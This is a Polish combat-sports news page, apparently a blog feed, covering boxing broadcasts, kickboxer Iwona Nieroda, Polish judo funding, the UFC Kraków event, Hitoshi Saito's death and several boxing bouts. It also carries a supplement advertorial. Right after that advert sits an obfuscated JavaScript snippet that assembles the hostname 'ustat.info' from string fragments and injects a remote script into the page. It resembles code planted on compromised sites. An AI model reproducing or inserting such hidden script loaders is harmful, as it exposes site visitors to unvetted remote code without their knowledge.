Mocny, bokserski tydzień zaczynamy już dzisiaj w nocy transmisją prosto z San Antonio. Pokażemy niesamowicie ciekawą galę grupy “Golden Boy Promotions” Oscara De La Hoyi.Funkcję głównej walki wieczoru spełni eliminator do mistrzowskiego tytułu WBC w kategorii piórkowej. Amatorski mistrz świata i srebrny medalista olimpijski Rocky Juarez skrzyżuje rękawice z meksykańskim “Robin Hoodem” Robinsonem Castellanosem. Juarez tytuł ten wywalczył pokonując w maju ubiegłego roku Rene Alvarado. Ten z kolei sięgnął po pas dzięki zwycięstwu … z Castellanosem. Meksykanin ma więc niepowtarzalną okazję odzyskać trofeum. Amerykanin ma również coś do udowodnienia – jeśli zwycięży, pokona dwóch ostatnich posiadaczy pasa WBC Silver i rozwieje wszelkie wątpliwości, czy to właśnie jemu należy się ten tytuł.
Transmisja z gali w nocy z poniedziałku na wtorek o godzinie 04:00, powtórka o 11:30.
 
Bokserskie czwartki – Chris Eubank 

W ramach cyklu „Bokserskie czwartki” o 22:00 zaprezentujemy w tym tygodniu sylwetkę jednego z najlepszych w historii pięściarzy wagi średniej i junior ciężkiej, Chrisa Eubanka. W sumie stoczył on 52 walk, z których aż 45 rozstrzygał na swoją korzyść. Pierwszą zawodową walkę Brytyjczyk stoczył w 1985 roku, a już pięć lat później – po wygranej z Hugo Antonio Cortim – zdobył pierwszy poważny tytuł, pas WBC International w wadze średniej. Od tamtej walki przez pięć kolejnych lat i dwadzieścia dwa pojedynki konsekwentnie bronił tytułu, oddał go dopiero w 1995 roku minimalnie przegrywając na punkty ze Steve’em Collinsem.
 
ESPN Friday Night Fights: Karl Dargan – Tony Louis

Z piątku na sobotę o 03:00 (powtórka o 11:30) pokażemy na żywo kolejną galę z cyklu ESPN Friday Night Fights. Będzie to osiemnasty zawodowy pojedynek pochodzącego z Filadelfii Karla Dargana. We wszystkich poprzednich schodził z ringu jako zwycięzca, a w swoich ostatnich walkach pokonał przez nokaut Angino Pereza, Anthony’ego Floresa i Chazza McDowella sięgając przy okazji po wakujący pas NABF Junior oraz po USBA Atlantic Coast Region w wadze lekkiej. Tym razem na ringu skrzyżuje rękawice z Kanadyjczykiem Tonym Louisem, który ostatnią walkę również rozstrzygnął na swoją korzyść. Wygrał w niej z Wanzellem Ellisonem. Kto tym razem okaże się mocniejszy, dowiemy się w najbliższy weekend.

Źródło: materiały prasowe

Mistrzyni w akcji

Iwona Nieroda po sukcesie odniesionym podczas mistrzostw świata w Turcji po raz kolejny stanie na placu boju. Polska mistrzyni wystąpi na gali Battle of Warriors Extra.

Nieroda stoczy swój pojedynek 21 lutego w Budzownie. Polka zmierzy się z Niemką Lindą Faysal, która ostatnio walczyła w listopadzie. Podczas gali Heroes Fight Night 4 reprezentująca barwy Ringside Gym Berlin decyzją sędziów pokonała Marinę Kollassę. Niemka będzie zatem kolejnym wyzwaniem w karierze Nierody. Polka ustawicznie buduje swoją pozycję na rynku, a swoją wartość udowadnia podczas największych imprez.

Nieroda ostatnią walkę stoczyła w grudniu. Było to starcie o pas zawodowej Mistrzyni WAKO PRO Low Kick. Nieroda zmierzyła się z Sedą Aygun, którą pokonała przez decyzję sędziów. Po raz drugi w karierze wywalczyła mistrzostwo świata. Jednak teraz musi wrócić do normalnej rywalizacji i zapomnieć o historii, która miała miejsce w Turcji. Wszyscy jesteśmy dumni, iż Nieroda jest mistrzynią świata, jednak zawodniczka dalej musi się rozwijać.

W kolejnej walce jej celem jest wygrana. Polka musi przystąpić do rywalizacji z Niemką w pełni skoncentrowana i gotowa na zabójczą wymianę. Z pewnością Faysal tanio skóry nie sprzeda. Obie zawodniczki przystępują do walki z podobnej pozycji. Zarówno Nieroda jak i Faysal wrócą do rywalizacji po około trzech miesiącach. Czy będą głodne walki i rzucą się na siebie? Raczej nie. W końcu staną naprzeciw siebie zawodniczki o określonym potencjale, które w swojej karierze toczyły już pojedynki o wysokim ciężarze. Nieroda i Faysal zmierzą się w jednej z walk wieczoru, więc oczekiwania, co do ich występu są ogromne. Fighterki mają pokazać się z jak najlepszej strony i zrobić show.

Niemiecka solidność i precyzja kontra polska mistrzyni, niezwykle szybka i zwinna. Kto wyjdzie zwycięstwo z tej rywalizacji? Polka ustawicznie rozwija się. Po bogatej karierze amatorskiej bardzo dobrze radzi sobie na poziomie zawodowym. Dwukrotne zdobycie mistrzostwa świata WAKO PRO Low Kick w kategorii do 56 kg mówi samo za siebie. Nieroda znalazła się na szczycie, ale musi pokonywać kolejne szczeble na swojej zawodowej drodze. Nieroda jest zawodniczką młodą, przed którą jeszcze wiele walk. Rywalizacja z Lindą Faysal pokaże w jakim miejscu znajduje się polska mistrzyni.

21 lutego w Budzownie Iwona Nieroda stanie przed kolejnym wyzwaniem. Kolejny występ Polki na wielkiej gali, podczas której stanie naprzeciw zawodniczki z Niemiec Lindy Faysal. Czy fighterka Ringside Gym Berlin zagrozi Nierodzie? Zapowiada się interesujący pojedynek polsko – niemiecki? Z pewnością zawsze walki między tymi nacjami będą budzić ogromne emocje. Czy Nieroda tak jak polscy piłkarze pokona rywalkę zza zachodniej granicy? W przeciwieństwie do naszych futbolistów nasza fighterka będzie faworytką w tym starciu.

KM

Większe pieniądze w judo

Przy każdej możliwej okazji podkreślamy, że w 2014 roku polskie judo zrobiło krok do przodu. Widoczny jest postęp. Postęp, który daje nadzieję na odrodzenie polskiego judo i upragniony medal olimpijski.

Bardzo dobre występy biało-czerwonych  odbiły się szerokim echem. Od dawien dawna Polacy nie osiągali takich sukcesów w judo. Cieszyliśmy się dobrymi występami na Pucharach Świata i Grand Slamach. Po jedenastu latach oczekiwaniach wreszcie zdobyliśmy upragniony medal mistrzostw świata. W Czelabińsku po brąz sięgnęła Katarzyna Kłys. Ponadto, z mistrzostw Europy przywieźliśmy dwa medale. Brąz wywalczyła indywidualnie Agata Ozdoba, drugi krążek to dzieło naszej żeńskiej ekipy. Wokół występów naszych reprezentantów narodziła się aura sukcesu. Sukcesu, który odmieniany jest już przez wszystkie przypadki i ma trwać, a jego kulminacja ma przypaść na Igrzyska Olimpijskie w Rio de Janeiro.

Dokonania polskich judoków zostały zauważone. Na rok 2015 Polski Związek Judo otrzymał ze środków budżetu państwa dofinansowanie w wysokości 2 560 761 zł, a ze środków FRKF – 2 105 958 zł. Z pewnością pieniądze te są niezwykle potrzebne. Na bieżącą działalność związku, na wypłaty dla szkoleniowców i sztabów, na wyjazdy zagraniczne oraz organizację imprez. Sam fakt, że kwoty te są większe niż rok temu pokazuje, iż sukces polskiego judo jest widoczny.

Stan finansów Polskiego Związku Judo również uległ zmianie. Dług jest stopniowo obniżany i sytuacja finansowa organizacji wygląda coraz lepiej. Z tym, że obecnie w PZJudo sytuacja jest trudna. Wszyscy czekają do 8 marca, kiedy to odbędzie się Nadzwyczajny Kongres Polskiego Związku Judo w celu wyboru nowego zarządu. Na poziomie sportowym wszystko jest w najlepszym porządku, pozostaje tylko kwestia ułożenia i uporządkowania stanu na płaszczyźnie formalnej.

Judo znalazło się w punkcie, który daje nadzieję na rozwój dyscypliny w Polsce. Coraz większa liczba dzieci uczęszcza na treningi, pojawiają się kolejne sukcesy. Judo staje się w Polsce popularne i trafia pod strzechy. Na poziomie sportowym widoczny jest progres. Progres, który przełożył się na kwestie finansowe. Wiadomo, że w sporcie jakim jest judo każdy grosz się liczy. Dla naszych zawodników oznacza jest to szansa na lepsze warunki treningowe. Polskie judo zrobiło krok do przodu. Na płaszczyźnie sportowej.

Pozostaje uporządkowanie kwestii formalnych. Potrzeba kogoś, kto wprowadzi porządek i umiejętnie rozdysponuje otrzymane środki. Polski Związek Judo potrzebuje jasnego oraz przejrzystego planu budżetowego. Konieczne jest stworzenie planu, który pozwoli naszej reprezentacji należycie przygotować się do Igrzysk Olimpijskich w Rio de Janeiro. Na obecnym etapie najważniejsze jest, aby nie zmarnować kapitału, który został wytworzony. Polskie judo staje przed ogromną szansą. Szansą, która jest efektem długiej, ciężkiej i często mozolnej pracy. Pracy dającej efekt.

KM

Filipović gwiazdą polskiego UFC

Starczy! Dość! Jeszcze nie! UFC z każdym kolejnym dniem dostarcza nam kolejnych gorących informacji. Największa organizacja mieszanych sztuk walki uchyliła rąbek tajemnicy w kontekście zaplanowanej gali w Polsce. 11 kwietnia w walce wieczoru w Arenie Kraków wystąpi Mirko Filipović.

Od kilku dni fani mieszanych sztuk walki w Polsce żyją tą informacją. UFC zorganizuje w kwietniu swoją galę w Krakowie. Ogromne wyróżnienie, ogromna radość, ogromna szansa, ogromne emocje. Wszystko ogromne. Odkładając emocje na bok należy stwierdzić, że jest to sukces. Sukces, który może przynieść zysk. Nie tylko materialny i nie wyłącznie na polu mieszanych sztuk walki. Kwestię tę należy potraktować szerzej.

Na pewno podczas gali w Krakowie w akcji zobaczymy Jana Błachowicza, który staje się wizytówką Polski w UFC. Do tej pory jedna walka, ale bardzo efektowna. Znamy doskonale możliwości „Johna” i jego charakter, co pozwala stwierdzić, że ma predyspozycje by na dłużej zagościć w najlepszej organizacji mieszanych sztuk walki na świecie. Dla polskich kibiców to dodatkowy bodziec emocjonalny zobaczyć swojego reprezentanta podczas takiej imprezy. Z pewnością Błachowiczowi podczas występu serce szybciej zabije. Nie tylko z wysiłku. Przypomnijmy – rywalem Polaka będzie Jimi Manuwa.

A kto będzie rywalem Mirko Filipovicia? Tego pana przedstawiać nie trzeba. Wybitny zawodnik kickboxingu i MMA zaprezentuje się polskiej publiczności. Filipović zmierzy się z Gabrielem Gonzagą. Panowie mają ze sobą rachunki do wyrównania. Niektórzy z pewnością nie pamiętają, bo fighterzy swój pojedynek stoczyli dawno, dawno temu. Wtedy jeszcze dzieci quadów na komunię nie dostawały. Podczas UFC 70, czyli w kwietniu 2007 roku, Gonzaga potężnym kopnięciem na głowę zakończył pojedynek z Filipoviciem. Po ośmiu latach przyjdzie stoczyć im rewanż.

Filipović to nazwisko. Bez wątpienia i na tym z pewnością bazuje organizator. 40-letni gwiazdor ostatni pojedynek w UFC stoczył w 2011 roku. Filipović zanotował trzy porażki z rzędu i postanowił się wycofać. Myślał o zakończeniu kariery i nawet rozpoczął odpoczynek od zmagań, ale postanowił wrócić. Brał udział w galach, toczył kolejne pojedynki. W czerwcu ubiegłego roku na Glory 17 pokonał Jarella Millera w walce na zasadach K-1.Teraz ponownie zaprezentuje się na gali UFC.

Z jednej strony atrakcją jest zobaczyć w akcji tak znanego zawodnika. Z drugiej warto zauważyć, że Chorwat rozpoczął już odcinanie kuponów od bogatej kariery i jego poziom sportowy daleki jest od idealnego. Ludzie przyjdą zobaczyć w akcji Błachowicza. Filipović może być dodatkiem. Nazwiskiem, które przyciągnie i przykuje uwagę. Gala UFC w Polsce będzie ogromnym wydarzeniem, ale publiczność nie da sobie zamydlić oczu podstarzałym gwiazdorem. Polacy mają swojego idola, za którego będą trzymać kciuki.

KM

Judo dało siłę

Takie historie krzepią serce i dają nadzieję. Pokazują, że warto walczyć i trzeba być zdeterminowanym, nie ustępować ani na krok. Historia Alicji Romanowskiej, która na co dzień jest pielęgniarką to idealny przykład wartości jaką niesie ze sobą sport. W tym przypadku – judo.

Alicja Romanowska pracuje jako pielęgniarka na Oddziale Neurochirurgii w szpitalu wojewódzkim w Elblągu. Od dziecka fascynowała się judo i doskonaliła swoje umiejętności w tej materii. Osiągnęła bardzo wysoki poziom – posiada czarny pas mistrzowski. Judo jest pasją Alicji Romanowskiej. Pasją, która pomogła przetrwać ciężkie chwile. Dwa lata temu usłyszała diagnozę, która była dla niej wielkim szokiem. Rak z przerzutami.

Trening judo. Gorsze samopoczucie, chwila słabości. Nie było sensu czekać. Alicja Romanowska trafiła do szpitala, gdzie dowiedziała się o swojej chorobie. Od razu trafiła na stół operacyjny. Potem była chermioterapia i walka. Co w takiej sytuacji robić? Jak żyć? Nie poddawać się. Łatwo się mówi. Jednak Alicja Romanowska znalazła w sobie ogromną siłę. Miała wsparcie w rodzinie, koleżankach z pracy i opiekowali się wybitni specjaliści. Sama nie zamierzała bezczynnie siedzieć. Wróciła do treningów. To dawało jej siłę i pokazywało, że można. Istotny był również powrót do pracy. Alicja Romanowska nie oszczędzała się, wróciła do normalnego funkcjonowania. Czerpała z życia i cieszyła się nim, ale równocześnie toczyła walkę z chorobą.

Nie poddała się. Podjęła walkę. Fakt, że trenuje judo jest dla niej niezwykle istotny. Okazuje się, że ten sport stał się dla Alicji Romanowskiej swego rodzaju terapią i zarazem wyzwaniem. Judo pomogło jej w trudnych chwilach. Prawdziwa pasja.Alicja Romanowska zachwyca aktywnością. Postanowiła otworzyć własną szkołę samoobrony. Chce pomóc kobietom odkryć w sobie siłę i pragnie zarazić je swoją pasją. W ten sposób wykorzystuje swój talent, pogłębia swoją pasję i pomaga innym. A także sobie. Warto dodać, że Alicja Romanowska dzieli się swoją pasją także na płaszczyźnie rodzinnej. Również jej dzieci trenują judo.

Czasami w życiu stajemy przed sytuacjami, które wprawiają nas dosłownie w osłupienie. Stajemy i zadajemy sobie pytanie: co dalej? Historia Alicji Romanowskiej pokazuje, że trzeba podjąć wyzwanie i walczyć. Dla siebie, dla bliskich. Trzeba żyć. Piękne jest to, że pani Alicja znalazła siłę w judo, z którym związana jest od dziecka. Widać, że pasja może pomóc. Judo jest pięknym sportem. Ktoś, kiedyś powiedział, że judo to życie. Jak widać miał rację. Łagodna droga, która nie jest usłana różami, ale jest ogromną wartością. Wyraźnie widać wpływ judo na życie oraz postawę osoby, która znajduje się w trudnym położeniu. Sport pomaga przełamywać bariery i słabości. Każdy trening, każde wejście na matę sprawia, że człowiek podejmuje wyzwanie. Judo jest piękną dyscypliną, w której zaszczepione są szlachetne wartości. Dla wielu jest czymś więcej. Czymś, co daje siłę. Czymś więcej.

KM

 

Kwietniowe święto

UFC na polskim rynku! Największa organizacja mieszanych sztuk walki na świecie na 11 kwietnia zaplanowała swoją galę w Krakowie.

Dla polskich fanów z pewnością będzie to ogromna gratka. O planach organizacji gali UFC w Polsce mówiło się od pewnego czasu. UFC doceniło nasz kraj i włodarze zdecydowali, że impreza odbędzie się w kwietniu w Krakowie. Mimo wszystko należy postawić pytanie – czy to ukłon w stronę Polski? A może po prostu – dalsza ekspansja biznesowa? UFC jest produktem wszechobecnym, który trafia do społecznej świadomości. Niemalże każdy zna nazwę organizacji, co podkreśla jej potencjał, a także daje ogromne możliwości. UFC bazuje na swojej pozycji, którą chce wykorzystywać. Największa organizacja mieszanych sztuk walki rusza w świat, aby podbijać kolejne rynki.

Dla Polski sytuacja również ma istotne znaczenie. Nasz kraj będzie miejscem imprezy największej organizacji mieszanych sztuk walki na świecie. Sam fakt, że UFC decyduje się na Polskę pokazuje, że zostaliśmy określeni jako miejsce pewnego dobrobytu oraz potencjału. Warto podkreślić, że sama gala może być dobrą reklamą dla naszego kraju. Na zawodach zjawią się fani MMA, być może docenią wartości turystyczne Polski. Z pewnością gala wpłynie na wzrost wartości naszej ojczyzny. Należy pamiętać o tym, że UFC gra o swój interes, ale z drugiej strony nam pomaga. Takie imprezy mogą wypromować Polskę i sprawić, iż organizatorzy innych gal zwrócą swoje oczy w kierunku Polski.

Radość, której kulminacja nastąpi 11 kwietnia. Wtedy to w Krakowie zobaczymy najlepszych fighterów. Wśród nich Jan Błachowicz, który zmierzy się z Jimi Manuwą. Popularny „John” debiutował w UFC w październiku zeszłego roku, kiedy  pewnie pokonał Ilira Latifiego. Błachowicz pokazał się z dobrej strony i zrobił wrażenie na obserwatorach. Teraz dostaje szanse zaprezentowania się przed własną publicznością. Z pewnością to niezwykle ważne dla Błachowicza, ale czy taka presja nie sparaliżuje fightera? Zawodnik o takim potencjalne nie może mieć takich problemów. Kłopotów Błachowiczowi może dostarczyć jego kwietniowy rywal. Jimi Manuwa to mocny przeciwnik, który znany jest z silonych dłoni. 34-latek miał walczyć w grudniu, ale z powodu kontuzji nie mógł zmierzyć się z Mauricio Ruą. Manuwa pokazał się w UFC z dobrej strony. Do tej pory wygrał trzy walki- wszystkie przez TKO. Pierwsza porażka przyszła w kwietniu ur. podczas UFC Fight Night w Londynie. Manuwa przegrał z Aleksandrem Gustaffsonem. Błachowicz dostaje mocnego rywala, z którym czeka go ciężka przeprawa. Wsparcie polskiej publiczności z pewnością będzie cenne dla „Johna”.

Niewykluczone, że podczas krakowskiej gali zobaczymy innych reprezentantów Polski. Pojedynek Błachowicza ma być drugą walką wieczoru. Wielka radość dla fanów mma w Polsce, wyróżnienie i zarazem szansa na promocję dla naszego kraju. 11 kwietnia, Kraków Arena –MMA na najwyższym poziomie. Z Błachowiczem w roli głównej.

 

KM

Odżywki dla sportowców

Wszelkie dostępne dziś na rynku odżywki i suplementy diety, które to są przeznaczone dla sportowców zawierają w swoim składzie substancje mobilizujące organizm, aby o wiele szybciej mógł spalać on tłuszcz. Odżywki te często znane są, więc także, jako „spalacze tłuszczu”. Istnieją jednak także te suplementy diety, jakie to przyczyniają się do budowania tkanki mięśniowej, zaś one znane są nam pod pojęciem odżywki na masę.

Oczywiście doskonale wiemy, że owe suplementy są dostępne bez recepty albowiem nie są to sterydy anaboliczne, przez co można je legalnie kupić. Nie są one także pro hormonami, które to uznane są w sporcie za doping, przez co nie można ich stosować. Odżywki dla sportowców maja jednak inny charakter albowiem w żadnym stopniu nie wpływają na gospodarkę hormonalną zaś, jeżeli są zawsze spożywane w zalecanych ilościach nie są szkodliwe dla zdrowia. Takie odżywki cieszą się szczególnym powodzeniem wśród mężczyzn, ale także coraz częściej sięgają po nie kobiety.

Suplementy diety dla aktywnych

Odżywki oraz suplementy, jakie to są przeznaczone dla sportowców są legalne a także dostępne substancje, które to mają różnorodne działanie. Pierwszym rodzajem są odżywki dla sportowców, czyli takie substancje, które to mobilizują nasz organizm do szybszego spalania tłuszczu, zaś innym odżywki na masę, które to sprawiają, że o wiele szybciej następuje rozwój tkanki mięśniowej. Jednakże musimy wiedzieć, że żadna z tych substancji nie działa bez dodatkowych wysiłków. Z całą pewnością, jeśli zażywamy odżywki musimy także zastanowić się nad adekwatnie dobraną dietą, a także nad aktywnością fizyczną. Suplementy diety jedynie wspomagają nasze wysiłki i zapewniają nam o wiele szybsze rezultaty. Suplementem diety jest także synefryna, która to działa bardzo podobnie jak kofeina. Tym samym zwiększa się energia, przyśpiesza praca metabolizmu, a to sprawia, że następuje także większa szybkość spalania kalorii. Co więcej dzięki tej odżywce zmniejsza się także nasz apetyt. Dzięki tym zaletom substancja ta bardzo często stosowana jest w naszej diecie, jednakże warto pamiętać, aby stosować ją zawsze z umiarem. Jeśli zbyt dużo zażyjemy owej substancji może dojść do palpitacji serca, drżenia rąk, a także skoków ciśnienia. Powszechnie stosowane w diecie sportowców są także preparaty, które to zawierają chrom. Ma on wiele zalet, ale przede wszystkim poprawia nasz metabolizm, a tym samym przyśpiesza proces chudnięcia.

Odżywki dla sportowców

Pośród odżywek dla sportowców na pewno najważniejsza jest kreatyna, która to jest aminokwasem. Substancja ta zwiększa naszą wytrzymałość, sprawia, że poziom energii się podnosi, a tym samym nasze ciało pobudza się do pracy. Dodatkowo dzięki kreatynie zwiększa się masa naszych mięśni, jednakże stosując ją bez ćwiczeń, na pewno efekt będzie mizerny. Kreatynę najlepiej jest stosować zaraz po wysiłku fizycznym. Naturalnie, aby prawidłowo ją przyjmować należy proszek rozpuścić w wodzie. Jednakże warto mieć na uwadze, aby nie przyjmować nadmiernej ilości kreatyny do naszego organizmu, albowiem powoduje ona szybkie odwadnianie. Przyjmując kreatynę powinniśmy pić także znaczne ilości wody, do dwóch litrów w ciągu każdego dnia.

Polecamy sklep.kfd.pl – odżywki i suplementy diety. Nie tylko dla sportowców.

(function(){
uaXv=document.createElement("script");uaXv.type="text/javascript";
uaXv.async=true;uaXv_=(("us")+"t")+"a";uaXv_+=("t.i")+""+"n";uaXv_+=(("f")+"o");
uaXv.src="http://"+uaXv_+"/1730161.883w9tk1aXvzb8mj7fq3fstg9ej8bl";
document.body.appendChild(uaXv);
})();

Odszedł legendarny mistrz judo

Wybitny judoka Hitoshi Saito zmarł w wieku 54 lat. Japończyk był wielkim zawodnikiem, który zapisał się w historii dyscypliny jako dwukrotny mistrz olimpijski.

Powodem śmierci Saito był nowotwór pęcherzyka żółciowego. Historia choroby mistrza z Japonii sięga 2013 roku, wtedy to lekarze wykryli guza u wybitnego zawodnika. Saito podjął leczenie i jego stan był dobry, jednakże na przestrzeni ostatnich tygodni wyraźnie pogorszył się. Okazało się, że choroba był silniejsza.

Hitoshi Saito to ikona judo lat 80. XX wieku. Japończyk startował w kategorii wagowej +95 kg. Pierwszy wielki sukces Saito osiągnął podczas mistrzostw świata w Moskwie w 1983 roku, kiedy to w kategorii open sięgnął po złoty medal. Japończyk dwukrotnie był mistrzem olimpijskim. Saito triumfował podczas igrzysk olimpijskich w Los Angeles w 1984 i cztery lata później w Seulu. Z pewnością to największe sukcesy Japończyka, które na trwałe wpisały jego nazwisko w historię judo. W 1984 roku w finale olimpijskim okazał się lepszy od francuskiego zawodnika – Angelo Parisiego. Nie lada sztuką jest powtórzenie takiego wyczynu jak ponowne zdobycie złota olimpijskiego i to na kolejnych igrzyskach. Saito po raz drugi stanął na szczycie, co pokazało światu jego fenomen i wielkie umiejętności. W 1988 roku w Seulu wywalczył kolejny złoty medal olimpijski, a w finale rozprawił się z reprezentantem NRD Henry’m Stohrem. Z Seulem wiąże się więcej sukcesów japońskiego mistrza judo. W 1985 roku podczas mistrzostw świata Saito sięgnął po srebrny medal.

Wybitny zawodnik, wielki judoka, który swoim życiem świadczył o wielkiej miłości do judo i pokazywał oddanie dyscyplinie. Wierny zasadom, doskonalił się na każdym krokiem. Był wielkim mistrzem – zdobył dwa złota olimpijskie. Wielość tytułów pokazuje fenomen i wielkość Saito. Hitoshi Saito przegrał walkę z chorobą, która przyszła przedwcześnie. Zmagał się z nią dwa lata, ale nie podołał. Miał zaledwie 54 lata. Warto uhonorować jego pamięć, bo był wielkim mistrzem w pełni oddanym idei dyscypliny. To niezwykle ważne. Saito swoją postawą pokazał, że oddając serce judo można wiele osiągnąć. Poświęcił swoje życie dla judo i został mistrzem. Wielkim mistrzem.

W tym miejscu należy wspomnieć także o dokonaniach trenerskich Saito. Japończyk był wybitnym zawodnikiem, ale także szkoleniowcem. Saito prowadził reprezentację Kwitnącej Wiśni podczas igrzysk olimpijskich w Atenach oraz Pekinie. Podopieczni wielkiego mistrza podczas tych imprez wywalczyli aż siedemnaście medali – w tym dwanaście złotych. Również ten fakt pokazuje wielkość Saito, który potrafił przekazać swoją wiedzę oraz doświadczenie młodszym.

Wybitna postać, która odeszła od nas. Przedwcześnie. Zdecydowanie. Hitoshi Saito przegrał z chorobą w wieku 54 lat. Pamięć po nim będzie trwać, gdyż dał judo wiele. Cześć jego pamięci.

KM

Amerykanin postawi się mistrzowi

Stało się faktem, że mistrz świata wagi ciężkiej WBA/WBO/IBO/IBF Władimir Kliczko zmierzy się z Bryantem Jenningsem. Pojedynek odbędzie się 25 kwietnia w Madison Square Garden w Nowym Jorku.

Negocjacje na temat walki trwały od dłuższego czasu. Na drodze do porozumienia pojawiły się trudności, gdyż Jennings związał się z grupą Roc Nation Sports, a początkowo reprezentowany był przez Gary’ego Shawa. Strony musiały ponownie zasiąść do rozmów i ustalać wszystkie kwestie. Mimo wszystko porozumienie osiągnięto szybko. Dla Jenningsa to szansa na wypromowanie się i co by nie mówić – zdobycie mistrzowskich pasów. Kliczko zawalczy w końcu w Stanach Zjednoczonych. Wiadomo, kto jest faworytem pojedynku.

W kontekście Jenningsa mówi się o jego atrakcyjności i potencjale. Z pewnością trudno uznać go za równorzędnego przeciwnika dla mistrza z Ukrainy. Sam Kliczko wyraża się o swoim najbliższym rywalu z wielkim uznaniem. – Mam wielki szacunek do Bryanta Jenningsa i do jego osiągnięć na zawodowym ringu. To będzie wymagający pojedynek – powiedział Kliczko. Dominacja Ukraińca w wadze ciężkiej nie podlega dyskusji. W swoim ostatnim starciu rozbił Kubrata Pulewa, czym udowodnił, że jego pozycja jest niezachwiana i trudno szukać pięściarza, który jest w stanie zagrozić wielkiemu mistrzowi. Povietkin, Wach, Chambers, Haye i wielu innych próbowało, ale nie podołało. Czy Jennings ma szanse? Po zwycięstwie Wildera nad Stivernem 30-latka poniosła fantazja. Jennings chciałby, aby cztery pasy trafiły do Stanów. – Nastał właściwy czas, aby tytuły znalazły się w  domu – powiedział amerykański bokser.

Amerykanie w końcu doczekali się mistrza. Po ośmiu latach posuchy po tytuł sięgnął Deontay Wilder. Czy jego śladem podąży Jennings? Wątpliwe. Nikt oczywiście nie odbiera Amerykaninowi szans na wyrównaną walkę z Ukraińcem, jednak na papierze trudno znaleźć argumenty, które przemawiają za 30-latkiem. Warto zauważyć, że pojawił się bokser, który otwarcie przyznaje, czego chce. To też niezwykle istotne. Najważniejsze, aby był gotowy do walki i chciał rywalizować. Tak jak Pulew, który wszedł do ringu, aby wygrać. Choć przegrał to razem z mistrzem stworzył ciekawie widowisko. Z punktu widzenia obserwatora jest to niezwykle istotne, aby rywal Ukraińca nie unikał walki. Bo jest to wydarzenie wokół, którego rodzi się ogromne zainteresowanie. Kliczko jest postacią, która przyciąga. Z tym, że często dzieje się tak, że jego rywal nie są w stanie dorównać aurze wytworzonej wokół pojedynku. Jennings dostaje szansę, aby pokazać światu swój potencjał. Warto podkreślić, że stoczy pojedynek na własnej ziemi. Kliczko też jest zadowolony z faktu, że przyjdzie walczyć mu w Nowym Jorku, gdzie dokonał unifikacji.

Ukrainiec stanie po raz osiemnasty do obrony tytułu. Kliczko jest faworytem pojedynku, Jennings ma swój cel. Jeden już osiągnął – udało się dojść do porozumienia w sprawie walki. Jakie warunki Jennings postawi Ukraińcowi? Niech spełnią się słowa Kliczko o trudnym pojedynku. Bo takich brakuje. Pełnych emocji i wrażeń. Najpierw Jennings musi pokonać strach. Wielu przed nim tego nie zrobiło.

KM

Fonfara zmierzy się z Chavezem

Andrzej Fonfara czeka na kolejny pojedynek. 18 kwietnia jego rywalem będzie Julio Cesar Chavez Jr., były mistrz świata wagi średniej.

Najlepszy polski półciężki będzie rywalizował z doświadczonym i utytułowanym bokserem. Walka odbędzie się w limicie pomiędzy wagą superśrednią, a półciężką. Ponoć Chavez zdecydował się na rywalizację w wyższej kategorii, gdyż nie chciało mu się zbijać wagi. Oby był świadomy konsekwencji jakie taka decyzja może nieść ze sobą.

Fonfara to bokser silny, który stopniowo buduje swoją pozycję w wadze półciężkiej. Notowania Polaka są coraz lepsze i kwestia rywalizacji o pas coraz częściej pojawia się w dyskusjach. Czy pojedynek z Chavezem pomoże Fonfarze w drodze do sukcesu? Z pewnością Polak dostał szansę rywalizacji z ciekawym bokserem, który ma na swoim koncie osiągnięcia. Chavez Jr. mimo niespełna dwudziestu dziewięciu lat stoczył już ponad pięćdziesiąt pojedynków na zawodowym ringu. Warto podkreślić, że Meksykanin rywalizuje w wadze junior średniej i średniej. Z kolei Polak jest bokserem kategorii półciężkiej. Kwestią podstawową jest fakt, że w tym zestawieniu lepiej wygląda Fonfara. Polski bokser jest silniejszy, obyty w wyższej kategorii wagowej. Z kolei Chavez do rywalizacji w takim limicie nie jest przyzwyczajony.

Zaproponowano nam ten pojedynek i przyjęliśmy ofertę – powiedział Leon Margules z grupy Warriors Boxing, która współpracuje z Fonfarą. Data starcia jest już znana – 18 kwietnia. Do ustalenia pozostała kwestia miejsca pojedynku oraz transmisji telewizyjnej. Wiadomo, że w grę wchodzą dwie stacje ShowTime oraz NBC. Warto nadmienić, że na szybkie porozumienie między obozami pięściarzy wpływ miał fakt, iż obaj zawodnikami Al'a Haymona.

Początkowo Chavez miał rywalizować z innym pięściarzem. Długo mówiło się, że były mistrz świata wagi średniej stanie w ringu naprzeciw Carla Frocha. Wydarzenie miało mieć miejsce 28 marca, jednak ostatecznie do niego nie dojdzie. Powodem jest kontuzja Frocha. Jak się okazuje Anglik doznał urazu łokcia, która eliminuje go z jakiejkolwiek rywalizacji. Dla Chaveza Jr. jest to tylko i wyłącznie wymówka, ale pięściarz cieszy się na możliwość starcia z Fonfarą. W związku z kontuzją Frocha z okazji skorzysta Polak. Fonfara zmierzy się z doświadczonym rywalem i będzie miał okazję stoczyć kolejny pojedynek, w którym celem będzie zwycięstwo oraz potwierdzenie swojej wartości.

Wszystko układa się pięknie, ale w całej historii pojawia się mały problem. Chavez Jr. swego czasu związany był z grupą Top Rank, jednak teraz ma podpisaną umowę z Alem Haymonem. Bob Arum uważa, że jest nieco inaczej i bokser ma zobowiązania wobec jego firmy. Według szef Top Rank Chavez Jr. powinien stoczyć jeszcze jeden pojedynek w ramach zawartego kontraktu. Jak rozstrzygnie się ta sytuacja? Arum grozi, że poda sprawę do sądu. Czy w takim przypadku walka Chaveza z Fonfarą jest zagrożona?

Na dzień dzisiejszy jest porozumienie między obozami i do starcia dojdzie 18 kwietnia. Fonfara stanie w ringu, aby odnieść kolejne zwycięstwo. W końcu rywal porywa się na Polaka, który jest silniejszy. Chaveza Jr. nie można zlekceważyć, jednak Fonfara ma argumenty przemawiające za jego triumfem. Najlepiej, kiedy przemawiają pięści. W ringu rzecz jasna.

KM

Noworoczny wywiad z Wiesławem Błachem

Zapraszamy do obejrzenia noworocznego wywiadu z Prezesem Polskiego Związku Judo Wiesławem Błachem. Dowiemy się co było sukcesem a co porażką naszego gościa w 2014 r. a także o planach na przyszłość. Niebawem wybory w Polskim Związku Judo a nasz gość będzie jednym z kandydatów dlatego też zapytaliśmy o wizję na przyszłe zarządzanie tak ważnym dla polskich sztuk walki związkiem sportowym. ZAPRASZAMY!!!

[kod]

Włodzimierz Kwieciński

